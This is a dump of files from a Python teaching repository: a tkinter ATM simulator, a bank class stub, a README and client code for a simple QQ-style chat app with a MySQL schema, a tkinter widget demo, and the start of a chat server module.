picd.cardId.get()\r\n\r\n # 改密\r\n def modPasswd(self):\r\n if self.isLocked():\r\n chPwdDlog = changePasswdDialog(self.insCardId)\r\n chPwdDlog.setup_UI()\r\n self.wait_window(chPwdDlog)\r\n\r\n # 锁卡\r\n def lockedCard(self):\r\n if self.isLocked():\r\n # print(\"islocked\")\r\n lockedCardDialog(self.insCardId)\r\n\r\n # 解锁\r\n def unlockedCard(self):\r\n if self.isInCard():\r\n print(bank.usersDict[self.insCardId][\"isLock\"])\r\n if bank.usersDict[self.insCardId][\"isLock\"]:\r\n unlock = unlockedCardDialog(self.insCardId)\r\n unlock.setup_UI()\r\n self.wait_window(unlock)\r\n else:\r\n messagebox.askokcancel(\"消息提示\", \"此卡无需解锁,请勿重复解锁!\")\r\n else:\r\n messagebox.askokcancel(\"消息提示\",\"当前无卡,请插卡后进行操作!\")\r\n\r\n # 存款\r\n def addAcount(self):\r\n if self.isLocked():\r\n addialog = addAccountDialog(self.insCardId)\r\n addialog.setup_UI()\r\n self.wait_window(addialog)\r\n # print(\"back\",bank.usersDict[self.insCardId][\"money\"])\r\n self.tipVar.set(\"当前卡号:%s 卡内余额:%.2f\" % (self.insCardId, bank.usersDict[self.insCardId][\"money\"]))\r\n\r\n # 取款\r\n def getAcount(self):\r\n if self.isLocked():\r\n getdialog = getAccountDialog(self.insCardId)\r\n getdialog.setup_UI()\r\n self.wait_window(getdialog)\r\n # print(\"back\", bank.usersDict[self.insCardId][\"money\"])\r\n self.tipVar.set(\"当前卡号:%s 卡内余额:%.2f\" % (self.insCardId, bank.usersDict[self.insCardId][\"money\"]))\r\n\r\n # 转账\r\n def transAcount(self):\r\n if self.isLocked():\r\n transdialog = transAcountDialog(self.insCardId)\r\n transdialog.setup_UI()\r\n self.wait_window(transdialog)\r\n # print(\"back\", bank.usersDict[self.insCardId][\"money\"])\r\n self.tipVar.set(\"当前卡号:%s 卡内余额:%.2f\" % (self.insCardId, bank.usersDict[self.insCardId][\"money\"]))\r\n\r\n # 返回\r\n def back(self):\r\n res = self.backView()\r\n # print(\"========\", res)\r\n if res:\r\n self.quit()\r\n self.destroy()\r\n atmView = atmInitView.ATMInitView()\r\n atmView.setupATMInitView()\r\n\r\n def backView(self):\r\n if self.isInCard():\r\n waitcloseDialog = WaitCloseDialog()\r\n waitcloseDialog.setup_UI()\r\n self.wait_window(waitcloseDialog)\r\n return True\r\n else:\r\n backDlog = BackDialog()\r\n backDlog.setup_UI()\r\n self.wait_window(backDlog)\r\n return backDlog.isback\r\n # 补卡\r\n def repairCard(self):\r\n if self.isLocked():\r\n self.insCardId = self.backRepairCard()\r\n self.tipVar.set(\"当前卡号:%s 卡内余额:%.2f\" % (self.insCardId, bank.usersDict[self.insCardId][\"money\"]))\r\n\r\n def backRepairCard(self):\r\n modCardIdDlog = modCardIdDialog(self.insCardId)\r\n modCardIdDlog.setup_UI()\r\n self.wait_window(modCardIdDlog)\r\n return modCardIdDlog.new_cardId\r\n\r\n # 退卡\r\n def outPutCard(self):\r\n if self.isInCard():\r\n self.insCardId = \"\"\r\n messagebox.askokcancel(\"消息提示\",\"退卡成功!\")\r\n self.tipVar.set(\"\")\r\n else:\r\n # print(\"0000000000000000\")\r\n messagebox.askokcancel(\"消息提示\", \"当前无卡,请插卡后进行操作!\")\r\n\r\n # 退出\r\n def shutdown(self):\r\n sys.exit(0)\r\n\r\n # 检查是否插卡\r\n def isInCard(self):\r\n # print(\"**********\",self.insCardId)\r\n if self.insCardId == \" \":\r\n pass\r\n else:\r\n if self.insCardId in bank.usersDict:\r\n self.tipVar.set(\"当前卡号:%s 卡内余额:%.2f\"%(self.insCardId, bank.usersDict[self.insCardId][\"money\"]))\r\n return True\r\n self.tipVar.set(\"\")\r\n return False\r\n\r\n # 检查是否锁卡\r\n def isLocked(self):\r\n if self.isInCard():\r\n if bank.usersDict[self.insCardId][\"isLock\"]:\r\n messagebox.askokcancel(\"消息提示\",\"卡已被锁,请解锁后操作\")\r\n return False\r\n else:\r\n return True\r\n else:\r\n messagebox.askokcancel(\"消息提示\", \"当前无卡,请插卡后进行操作!\")\r\n\r\n# OpView = OptionsView()\r\n# OpView.setupOptionsView()\r\n" }, { "alpha_fraction": 0.5162866711616516, "alphanum_fraction": 0.524429976940155, "avg_line_length": 17.1875, "blob_id": "416fb6ce0fb702ad053407fedfe12c5551aa5a3f", "content_id": "456193b25bc9bb7a7d628c42073857e78f9d3f51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 614, "license_type": "permissive", "max_line_length": 87, "num_lines": 32, "path": "/py-basis/各组银行系统带界面/第二组/ATM/management_system.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nprogram name :\r\nlast modification time :\r\nchangelog :\r\n\"\"\"\r\n\r\n\r\nclass Person(object):\r\n def __init__(self, record_file_id, name, id_card, age, sex, native_place, address):\r\n self.name = \"\"\r\n self.id_card = 0\r\n self.age = 0\r\n pass\r\n pass\r\n\r\n\r\nclass Card(object):\r\n def __init__(self, person, password, time):\r\n self.user = person\r\n self.password = password\r\n self.creating_time = time\r\n self.__card_id = 0\r\n self.__balance = 0\r\n pass\r\n pass\r\n\r\n\r\nclass Bank(object):\r\n pass\r\n" }, { "alpha_fraction": 0.665537416934967, "alphanum_fraction": 0.6806282997131348, "avg_line_length": 19.675159454345703, "blob_id": "5607f3befaafdc1815bc1274265adc26fb18f8c0", "content_id": "a2731fe39a29c027601baf616770875e843fd66c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4619, "license_type": "permissive", "max_line_length": 169, "num_lines": 157, "path": "/py-basis/QQ简易版/README.md", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# QQ简易版项目简介\n\n\n# 功能\n- [x] 用AES加密所有的传输内容\n- [x] 用MD5 + 加盐 的方式存储密码,加盐字符由客户端和服务器共同生成\n- [x] 使用数据库存储用户信息、好友关系、房间信息、加入房间状态、所有聊天记录\n- [x] tkinter GUI\n- [x] 有新消息时自动好友列表提示\n- [x] 窗口放大缩小\n- [x] 联系人列表;未读的消息用彩色文本标注\n- [x] 加好友功能,对方收到通知,通过/拒绝,并将添加记录添加到数据库\n- [x] 右键好友名可以删除好友关系\n- [x] 防止重复打开窗口,如果已经打开则使窗口获得焦点\n- [x] 用户离线时收到的未读的消息,再次登录时用彩色文本标注\n- [x] 支持多行内容(Enter换行,Ctrl+Enter发送);支持聊天字体的设置\n- [x] 群聊功能、加群、创建群\n- [x] 群聊中显示群成员(双击打开聊天窗口/发送好友请求)\n\n# 安装说明\nPython版本: 3.x\n\n#第三方依赖库\n- [x] pymysql\n- [x] pycrypto\n```\npip install pymysql\n```\n\n```\npip install pycrypto # 用于加密\n```\n\n\n# 运行方法\n```\npython run_client.py\npython run_server.py\n```\n(一次只能运行一个server,但可以运行多个client)\n# 配置好\n第一次运行前,先运行\n先手动配置数据库信息\n\n```\nserver/setting.py \n```\n```\n创建5个用户[\"admin\", \"xiaomi\", \"robbin\", \"pony\", \"jackma\"] # 密码都是123\n```\n```\ninstall_pymysql_pycrypto.py # 自动检测模块是否安装\n```\n\n```\nfirst_time_run_server_create_database.py 1 # 创建数据库,数据库信息自己填写\n```\n可以快速创建数据库,(需要有参数1);\n参数为2创建几条数据,方便使用(前提创建好数据库);\n参数为3,删除数据库。如果\n运行报错,多半是因为使用了新版的MySQL。修改密码的认证方式即可(注pymsyql密码认证方式为mysql_native_password)。终端登陆mysql,输入\n```sql\nALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '密码';\n```\n\n\n# 文件目录\n```\n├─README.md\n├─first_time_run_server_create_database.py\n├─run_client.py\n├─run_server.py\n│\n├─client\n│ __init__.py\n|\n│ chat_form.py\n│ contact_form.py\n│ login.py\n│ register.py\n│ memory.py\n|\n│ client_socket.py\n| common_socket.py\n| security.py\n|\n└─server\n __init__.py\n \n DB_Handler.py \n server_windows.py\n common_handler.py\n server_socket.py\n memory.py\n \n register.py\n login.py\n mamage_friend.py\n manage_group.py\n chat_msg.py\n```\n\n# 界面预览图\n![1](image/1.png)\n![2](image/2.png)\n![3](image/3.png)\n![4](image/4.png)\n![5](image/5.png)\n![5](image/6.png)\n\n\n# 用MySQL存储用户信息、消息记录等各种数据\n数据库结构如下:\n\n```\ncreate table userinfo(\n -> id int primary key auto_increment,\n -> username varchar(50) unique not null,\n -> password varchar(254) not null,\n -> nickname varchar(50) not null,\n -> reg_time timestamp not null,\n -> isActive boolean not null)default charset=utf8;\n\ncreate table chatmsg(\n -> id int primary key auto_increment,\n -> user_id int not null,\n -> send_time timestamp not null,\n -> target_id int not null,\n -> isRead boolean not null,\n -> msg_type tinyint not null,\n -> msg varchar(4096) not null,\n -> isActive boolean not null)default charset=utf8;\n\ncreate table userfriend(\n -> id int primary key auto_increment,\n -> user_id int not null,\n -> friend_id int not null,\n -> add_time timestamp not null,\n -> isActive boolean not null)default charset=utf8;\n\ncreate table chatroom(\n -> id int primary key auto_increment,\n -> chatroom_name varchar(30) unique not null,\n -> create_time timestamp not null,\n -> isActive boolean not null)default charset=utf8;\n\ncreate table chatroom_user(\n -> id int primary key auto_increment,\n -> chatroom_id int not null,\n -> user_id int not null,\n -> create_time timestamp not null,\n -> isActive boolean not null)default charset=utf8;\n```\n\n所有数据没有delete选项,只有逻辑删除,默认isActive都为1,如果不需要了,改为0即可达到删除效果。\n\n```chatmsg```表可以保存不同类型数据,用msg_type保存数字即可,默认聊天数据为1,系统消息为2,添加好友信息为3,群聊信息为4,这样可以方便不同类型消息的扩展;保存消息时先判断用户是否在线,如果在线,直接发送给用户并在保存数据时将isRead项保存为0,否则保存为1,当用户上线时读取该用户isRead项为1的所有消息。\n\n" }, { "alpha_fraction": 0.5754836201667786, "alphanum_fraction": 0.5813708901405334, "avg_line_length": 33.21582794189453, "blob_id": "5a3b7c5d61373a807d9fee36537ecd3ad6adcf42", "content_id": "0819d4a39585e414e7ba6ba3607e767561c34244", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9974, "license_type": "permissive", "max_line_length": 79, "num_lines": 278, "path": "/py-basis/QQ简易版/client/contact_form.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 聊天主界面模块\n@Time : 2018/8/19 下午9:24\n@Author : 北冥神君\n@File : contact_form.py\n@Software: PyCharm\n\"\"\"\n\n\nfrom tkinter import *\nimport tkinter as tk\nfrom tkinter import messagebox\nimport time\nfrom threading import Thread\nimport os\n\nfrom . import memory, chat_form, client_socket, common_handler\n\n\nclass contact_window(tk.Frame):\n def on_add_friend(self):\n def do_add_friend():\n friend_name = input_name.get().encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.add_friend, friend_name)\n client_socket.send_msg(serializeMessage)\n add_friend_form.destroy()\n messagebox.showinfo('添加好友', '好友请求已发送')\n\n add_friend_form = Toplevel()\n add_friend_form.title(\"添加好友\")\n lb = Label(add_friend_form, text='要查找的好友名或ID')\n input_name = Entry(add_friend_form)\n btn = Button(add_friend_form, text='走你!', command=do_add_friend)\n lb.pack()\n input_name.pack()\n btn.pack()\n\n def on_add_room(self):\n def create_room():\n chatroom_name = input_name.get().encode()\n name = memory.username.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.join_room, chatroom_name, name)\n client_socket.send_msg(serializeMessage)\n create_room_form.destroy()\n\n create_room_form = Toplevel()\n create_room_form.title(\"加入群\")\n lb = Label(create_room_form, text='赶快找到你的组织吧')\n input_name = Entry(create_room_form)\n btn = Button(create_room_form, text='我确定找对了!', command=create_room)\n lb.pack()\n input_name.pack()\n btn.pack()\n\n def on_create_room(self):\n def create_room():\n chatroom_name = input_name.get().encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.create_room, chatroom_name)\n client_socket.send_msg(serializeMessage)\n create_room_form.destroy()\n\n create_room_form = Toplevel()\n create_room_form.title(\"创建群\")\n lb = Label(create_room_form, text='快给您的后宫起个响亮的名字吧!')\n input_name = Entry(create_room_form)\n btn = Button(create_room_form, text='走你!就是TA了!', command=create_room)\n lb.pack()\n input_name.pack()\n btn.pack()\n\n def on_list_click(self, e):\n nickname = self.friend_list.get(self.friend_list.curselection())\n chat_form.run(nickname)\n\n # class get_list_name:\n # def __init__(self, e):\n # self.e = e\n\n # def get_name():\n # nickname = memory.tk_root.friend_list.\\\n # get(memory.tk_root.friend_list.curselection())\n # print(nickname)\n # if \"群\" in nickname:\n # return \"退出该群\"\n # else:\n # return \"与TA绝交\"\n\n # def get_list_name(self):\n # nickname = self.friend_list.get(self.friend_list.curselection())\n\n def popupmenu(self, e):\n self.delete_menu.post(e.x_root, e.y_root)\n\n def delete_friend(self):\n name = self.friend_list.get(self.friend_list.curselection())\n _tmp = name.split()\n if _tmp[0] == \"群\":\n username = _tmp[2]\n username = username[1:]\n username = username[:-1]\n _flag = 2\n else:\n username = _tmp[1]\n username = username[1:]\n username = username[:-1]\n _flag = 1\n do_delete_friend(_flag, username)\n\n def __init__(self, master=None):\n memory.Contact_window.append(self)\n super().__init__(master)\n self.master = master\n memory.tk_root = self\n master.geometry('%dx%d' % (260, 600))\n\n self.delete_menu = Menu(self.master, tearoff=0)\n self.delete_menu.add_command(label=\"与TA绝交\", command=self.delete_friend)\n self.delete_menu.add_separator()\n self.base_frame = Frame(self.master)\n self.scroll = Scrollbar(self.base_frame)\n self.scroll.pack(side=RIGHT, fill=Y)\n self.friend_list = Listbox(self.base_frame,\n yscrollcommand=self.scroll.set)\n self.friend_list.bind(\"<Double-Button-1>\", self.on_list_click)\n # self.friend_list.bind(\"<Button-1>\", self.get_list_name)\n self.friend_list.bind(\"<Button-3>\", self.popupmenu)\n self.scroll.config(command=self.friend_list.yview)\n self.friend_list.pack(expand=True, fill=BOTH)\n\n self.button_frame = Frame(self.master)\n\n self.add_friend = Button(self.button_frame, text=\"添加好友\",\n command=self.on_add_friend)\n self.add_friend.pack(side=LEFT, expand=True, fill=X)\n\n self.add_room = Button(self.button_frame, text=\"添加群\",\n command=self.on_add_room)\n self.add_room.pack(side=LEFT, expand=True, fill=X)\n\n self.create_room = Button(self.button_frame, text=\"创建群\",\n command=self.on_create_room)\n self.create_room.pack(side=LEFT, expand=True, fill=X)\n\n self.base_frame.pack(expand=True, fill=BOTH)\n self.button_frame.pack(expand=False, fill=X)\n\n self.master.title(memory.current_user[memory.username] + \" - 联系人列表\")\n\n def update_friend_list(self, flag_name=None, unflag_name=None):\n self.friend_list.delete(\"0\", END)\n _flag = 0\n for t, f in memory.friend_list:\n self.friend_list.insert(\n END, memory.friend_list[(t, f)] + \" (\" + f + \")\")\n\n if f == flag_name:\n self.friend_list.itemconfig(_flag, {\"fg\": \"red\", \"bg\": \"grey\"})\n elif f == unflag_name:\n self.friend_list.itemconfig(_flag, {\"fg\": \"black\"})\n _flag += 1\n\n def close_window(self):\n # Tell server logout.\n flag = b'logout'\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.logout, flag)\n client_socket.send_msg(serializeMessage)\n self.master.destroy()\n os._exit(0)\n\n\ndef recive_some_info(msg):\n _flag = msg[0]\n if _flag == common_handler.MessageType.user_not_exist:\n messagebox.showerror(\"悲剧了!\", \"您希望添加的好友好像还没出生~!\")\n\n elif _flag == common_handler.MessageType.add_friend_request:\n request_user = msg[1].decode()\n result = messagebox.askyesno(\"好友请求\", request_user + \"请求加您为好友,是否同意?\")\n if result is False:\n _res = b'NG'\n else:\n _res = b'OK'\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.confirm_friend_request,\n _res,\n memory.username.encode(),\n request_user.encode())\n client_socket.send_msg(serializeMessage)\n\n elif _flag == common_handler.MessageType.add_friend_result:\n if msg[1].decode() == \"OK\":\n messagebox.showinfo(\"恭喜您!\", msg[2].decode() + \"愿意跟您促膝长谈啦!\")\n else:\n messagebox.showinfo(\"不走运\", msg[2].decode() + \"不愿意搭理你!\")\n\n elif _flag == common_handler.MessageType.join_leave_chatroom:\n if msg[1] == b\"OK\":\n username = memory.username.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.query_friend, username)\n memory.sc.send(serializeMessage)\n else:\n messagebox.showerror(\"悲剧了!\", \"您希望添加的群组像空气~!\")\n\n elif _flag == common_handler.MessageType.delete_friend_failed:\n messagebox.showinfo(\"对不住\", msg[1].decode() + \"删除失败!\")\n\n\ndef show(msg):\n friend_list_handler(msg)\n\n\ndef friend_list_handler(msg):\n friend_list = msg[1].decode()\n chatroom_list = msg[2].decode()\n memory.friend_list.clear()\n if friend_list != \"no friend\":\n _friend_info_lst = friend_list.split(\" + \")\n for _i in _friend_info_lst:\n _fl = _i.split(\":\")\n memory.friend_list[(1, _fl[0])] = _fl[1]\n if chatroom_list != \"no chatroom\":\n _chat_info_lst = chatroom_list.split(\" + \")\n for _i in _chat_info_lst:\n _cl = _i.split(\":\")\n memory.friend_list[(2, _cl[1])] = \"群 \" + _cl[1]\n memory.tk_root.update_friend_list()\n\n\ndef run(username):\n # Request friends list\n root = Tk()\n contact_window(root)\n\n t = Thread(target=client_socket.keep_recv)\n memory.recv_msg_thread = t\n t.start()\n\n time.sleep(0.1)\n username = username.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.query_friend, username)\n memory.sc.send(serializeMessage)\n root.protocol(\"WM_DELETE_WINDOW\", memory.tk_root.close_window)\n root.mainloop()\n t.join()\n\n\ndef chatroom_handler(msg):\n m = msg[1].decode()\n\n if m == \"EXIST\":\n messagebox.showerror(\"遗憾了~\", \"真遗憾,您希望的名字已被别的小主相中,赶快换一个吧!\")\n elif m == \"NG\":\n messagebox.showerror(\"悲剧了!\", \"悲剧了,您到底干了啥,没成功耶!\")\n elif m == \"OK\":\n chatroom_name = msg[2].decode()\n memory.friend_list[(2, chatroom_name)] = \"群 \" + chatroom_name\n memory.tk_root.update_friend_list()\n\n\ndef do_delete_friend(flag, username):\n if flag == 1:\n target_user = username.encode()\n me = memory.username.encode()\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.delete_friend, target_user, me)\n client_socket.send_msg(serializeMessage)\n else:\n # Leave chatroom.\n pass\n" }, { "alpha_fraction": 0.5257731676101685, "alphanum_fraction": 0.5515463948249817, "avg_line_length": 22.375, "blob_id": "2d80af98f85bd08e20129f4db188dc104e284cb3", "content_id": "714cbafd6aacff36c9bd12d9a36f86710739f79e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 418, "license_type": "permissive", "max_line_length": 46, "num_lines": 16, "path": "/py-basis/各组银行系统带界面/第四组/main.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\r\nimport bank_sys\r\n\r\ndef center_window(w, h): # 居中显示\r\n # 获取屏幕 宽、高\r\n ws = win.winfo_screenwidth()\r\n hs = win.winfo_screenheight()\r\n # 计算 x, y 位置\r\n x = (ws / 2) - (w / 2)\r\n y = (hs / 2) - (h / 2)\r\n win.geometry('%dx%d+%d+%d' % (w, h, x, y))\r\n\r\nwin = tkinter.Tk()\r\ncenter_window(400,400)\r\nallUsers = bank_sys.loading_mes()\r\nbank_sys.Bank_Sys(win,allUsers)" }, { "alpha_fraction": 0.605111300945282, "alphanum_fraction": 0.6257213354110718, "avg_line_length": 21.22222137451172, "blob_id": "7c5c7f9b809dd348e5891818f1e215eb0362e42e", "content_id": "2d3c6ede50bc4d2bfbbbdd2087fdc50f8fbb8adc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7627, "license_type": "permissive", "max_line_length": 103, "num_lines": 261, "path": "/py-basis/各组银行系统带界面/第二组/ATM/exsamples/test.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nprogram name :\r\nlast modification time :\r\nchangelog:\r\nPillow做验证码\r\nrequests爬虫\r\nchardet\r\nos\r\n\"\"\"\r\nimport tkinter # 导入tkinter包\r\nwin = tkinter.Tk() # 创建一个窗体\r\nwin.title(\"theodore\")\r\n# win.geometry(\"400x400+0+0\")\r\n'''\r\nLabel:标签控件\r\n text:显示文本\r\n bg:背景颜色\r\n fg:字体颜色\r\n font:字体\r\n width:宽\r\n height:高\r\n wraplength:指定text文本换行宽度\r\n justify:换行后对齐方式\r\n anchor:位置 center居中 n上 e右 s下 w左\r\n'''\r\nlabel = tkinter.Label(win,\r\n text=\"good man\",\r\n bg=\"pink\",\r\n fg=\"red\",\r\n font=(\"黑体\", 20),\r\n width=10,\r\n height=4,\r\n wraplength=100,\r\n justify=\"left\",\r\n anchor=\"n\")\r\n# 挂载到窗口\r\nlabel.pack()\r\n'''\r\nButton\r\n'''\r\n\r\n\r\ndef func():\r\n print(e.get())\r\n\r\n\r\nbutton = tkinter.Button(win, text=\"按钮\", command=func, width=4, height=2)\r\nbutton.pack()\r\n'''\r\nEntry:输入控件\r\n用于显示简单的文本内容\r\n show 密文显示eg: show=\"*\"\r\n'''\r\n# 绑定变量\r\ne = tkinter.Variable()\r\n# 设置值\r\n\r\nentry = tkinter.Entry(win, textvariable=e)\r\ne.set(\"good man\")\r\nentry.pack()\r\n'''\r\nText:文本控件,用于多行文本\r\n\r\n'''\r\n# text = tkinter.Text(win, width=30, height=4)\r\n# 创建滚动条\r\n# scroll = tkinter.Scrollbar(text)\r\n# side=tkinter.RIGHT放到窗口那一侧\r\n# fill 填充\r\n# scroll.pack(side=tkinter.RIGHT, fill=tkinter.Y)\r\n# text.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n# 关联\r\n# scroll.config(command=text.yview)\r\n# text.config(yscrollcommand=scroll.set)\r\nstr1 = '''\r\n岩浆,地质学专业术语。火山在活动时不但有蒸汽、石块、晶屑和熔浆团块自火山口喷出,而且还有炽热粘稠的熔融物质自火山口溢流出来。前者被\r\n称为挥发分(volatilecomponent)和火山碎屑物质(volcaniclasticmaterial),后者则叫做熔岩流(lavaflow)。\r\n目前,我们把这种产生于上地幔和地壳深处,含挥发分的高温粘稠的主要成分为硅酸盐的熔融物质称之为岩浆(Magma)。\r\n还有一种解释为,岩浆(Magma)是指地下熔融或部分熔融的岩石。当岩浆喷出地表后,则被称为熔岩(Lava)。喷出地表的岩浆成为喷\r\n出岩(Extrusive rocks);侵入地壳中的称为侵入岩(Intrusive rocks)。\r\n'''\r\n# text.insert(tkinter.INSERT, str1)\r\n'''\r\nCheckButton多选框控件\r\n\r\n'''\r\n\r\n\r\n# def update():\r\n# # 清除text中所有内容 0.0:下表为0的第0行 tkinter.END:清空到最后\r\n# text.delete(0.0, tkinter.END)\r\n# message = \"\"\r\n# if hobby1.get() is True:\r\n# message += \"money\\n\"\r\n# if hobby2.get() is True:\r\n# message += \"power\\n\"\r\n# if hobby3.get() is True:\r\n# message += \"people\\n\"\r\n# text.insert(tkinter.INSERT, message)\r\n\r\n\r\n# # 绑定变量\r\n# hobby1 = tkinter.BooleanVar()\r\n# hobby2 = tkinter.BooleanVar()\r\n# hobby3 = tkinter.BooleanVar()\r\n# # 多选框\r\n# check1 = tkinter.Checkbutton(win, text=\"money\", variable=hobby1, command=update)\r\n# check2 = tkinter.Checkbutton(win, text=\"power\", variable=hobby2, command=update)\r\n# check3 = tkinter.Checkbutton(win, text=\"people\", variable=hobby3, command=update)\r\n# check1.pack()\r\n# check2.pack()\r\n# check3.pack()\r\n'''\r\nRadioButton单选框控件\r\n'''\r\n\r\n\r\ndef update2():\r\n print(r.get())\r\n\r\n\r\n# 绑定变量\r\nr = tkinter.IntVar()\r\nradio1 = tkinter.Radiobutton(win, text=\"one\", value=1, variable=r, command=update2)\r\nradio1.pack()\r\nradio2 = tkinter.Radiobutton(win, text=\"two\", value=2, variable=r, command=update2)\r\nradio2.pack()\r\n'''\r\nListbox:列表框控件\r\n可以包含一个或多个文本框\r\n作用:在listbox控件小窗口显示一个字符串\r\n'''\r\n# 绑定变量 , listvariable=lbv\r\n# lbv = tkinter.StringVar()\r\n# 创建一个listbox,添加几个元素 tkinter.BROWSE与tkinter.SINGLE相似,\r\n# 但tkinter.SINGLE不支持鼠标按下移动选中位置\r\n# tkinter.EXTENDED 可以使listbox支持shift和control\r\n# tkinter.MULTIPLE 支持多选\r\nlb = tkinter.Listbox(win, selectmode=tkinter.MULTIPLE)\r\nlb.pack()\r\nfor item in [\" good\", \" nice\", \" handsome\"]:\r\n lb.insert(tkinter.END, item)\r\n# 在开始添加\r\n# lb.insert(tkinter.ACTIVE, \" cool\")\r\n# 将列表当成一个元素添加\r\n# lb.insert(tkinter.END, [\" very cool\", \" very nice\"])\r\n# 删除 参数1为开始的索引,参数2为结束的索引,如果不指定参数2,只删除第一个索引出的内容\r\n# lb.delete(1, 3)\r\n# 选中 参数1为开始的索引,参数2为结束的索引,如果不指定参数2,只选中第一个索引出的内容\r\n# lb.select_set(2, 4)\r\n# 取消选中\r\n# lb.select_clear(3)\r\n# 获取到列表中元素的个数\r\n# print(lb.size())\r\n# 获取选中元素\r\n# print(lb.get(2, 4))\r\n# 返回当前选中的索引项\r\n# print(lb.curselection())\r\n# 判断一个选项是否被选中\r\n# print(lb.select_includes(1))\r\n# 打印当前列表中的选项\r\n# print(lbv.get())\r\n# 设置选项\r\n# lbv.set((\"1\", \"2\", \"3\"))\r\n# 绑定事件\r\n\r\n\r\n# def myprint(event):\r\n# print(lb.get(lb.curselection()))\r\n\r\n\r\n# lb.bind(\"<Double-Button-1>\", myprint)\r\n# scroll2 = tkinter.Scrollbar()\r\n# scroll2.pack(side=tkinter.RIGHT, fill=tkinter.Y)\r\n# lb.configure(yscrollcommand=scroll2.set)\r\n# scroll2['command'] = lb.yview()\r\n'''\r\nScale\r\n供用户拖拽指示器改变变量的值,可以水平,也可以竖直\r\n'''\r\n# orient=tkinter.HORIZONTAL 水平的 tkinter.VERTICAL 竖直\r\n# 水平时length表示宽度竖直时表示高度\r\n# tickinterval现实值将会为该值倍数\r\nscale1 = tkinter.Scale(win, from_=0, to=100,\r\n orient=tkinter.HORIZONTAL,\r\n tickinterval=100, length=200)\r\n# 设置值\r\nscale1.set(20)\r\n\r\n\r\ndef shownum():\r\n print(scale1.get())\r\n\r\n\r\ntkinter.Button(win, text=\"按钮\", command=shownum).pack()\r\nscale1.pack()\r\n'''\r\nSpinbox:数字范围控件\r\n'''\r\n# 绑定变量\r\nv = tkinter.StringVar()\r\n# increment=5 增加或减小的步长,默认为1\r\n# values 最好不要和from_ ,to一起用 from_=0, to=100, increment=1,\r\n# command 只要值改变就会执行对应方法\r\nsp = tkinter.Spinbox(win, values=(0, 2, 4, 6, 8), textvariable=v)\r\nsp.pack()\r\n# 设置值\r\nv.set(20)\r\n# 取值\r\nprint(v.get())\r\n'''\r\nMenu:顶层菜单\r\n'''\r\n# 菜单条\r\nmenubar = tkinter.Menu(win)\r\nwin.config(menu=menubar)\r\n# 创建一个菜单选项\r\nmenu1 = tkinter.Menu(menubar, tearoff=False)\r\n\r\n\r\ndef func():\r\n print(\"good\")\r\n\r\n\r\n# 给菜单添加内容\r\nfor item in [\"Python\", \"C\", \"C++\", \"OC\", \"Swift\", \"C#\", \"shell\", \"Java\", \"JS\", \"汇编\", \"NodeJS\", \"Exit\"]:\r\n if item == \"Exit\":\r\n menu1.add_command(label=item, command=win.quit)\r\n else:\r\n menu1.add_command(label=item, command=func)\r\n# 向菜单条上添加菜单\r\nmenubar.add_cascade(label=\"语言\", menu=menu1)\r\n\r\nmenu2 = tkinter.Menu(menubar, tearoff=False)\r\nmenu2.add_command(label=\"233\")\r\nmenubar.add_cascade(label=\"神马\", menu=menu2)\r\n\r\n# 右键菜单\r\nmenubar2 = tkinter.Menu(win)\r\nmenu3 = tkinter.Menu(menubar2, tearoff=False)\r\nfor item in [\"Python\", \"C\", \"C++\", \"OC\", \"Swift\", \"C#\", \"shell\", \"Java\", \"JS\", \"汇编\", \"NodeJS\", \"Exit\"]:\r\n menu3.add_command(label=item)\r\nmenubar2.add_cascade(label=\"3\", menu=menu3)\r\n\r\n\r\ndef showMenu(event):\r\n menubar2.post(event.x_root, event.y_root)\r\n\r\n\r\nwin.bind(\"<Button-3>\", showMenu)\r\n'''\r\nCombobox\r\n'''\r\n'''\r\nFrame\r\n'''\r\n\r\nwin.mainloop() # 这一步是保存窗口开启的状态,消息循环\r\n\r\n\r\n" }, { "alpha_fraction": 0.5570588111877441, "alphanum_fraction": 0.5649019479751587, "avg_line_length": 29.915151596069336, "blob_id": "c2e2175611da79ffd78480881274055fefc275b5", "content_id": "235e33627acf751caea4295af89aaf608fe137a2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5620, "license_type": "permissive", "max_line_length": 103, "num_lines": 165, "path": "/py-basis/QQ简易版/server/server_socket.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 填写本模块功能大致描述\n@Time : 2018/8/22 下午7:22\n@Author : 北冥神君\n@File : server_socket_function.py\n@Software: PyCharm\n\"\"\"\n\n\n\nfrom socket import *\nfrom threading import *\nimport os\nimport struct\n\nfrom . import memory, login, chat_msg, manage_friend,\\\n manage_group, register, common_handler\n\n\ndef server(IP, PORT):\n '''\n 创建socket TCP\n :param IP: 本机ip\n :param PORT: 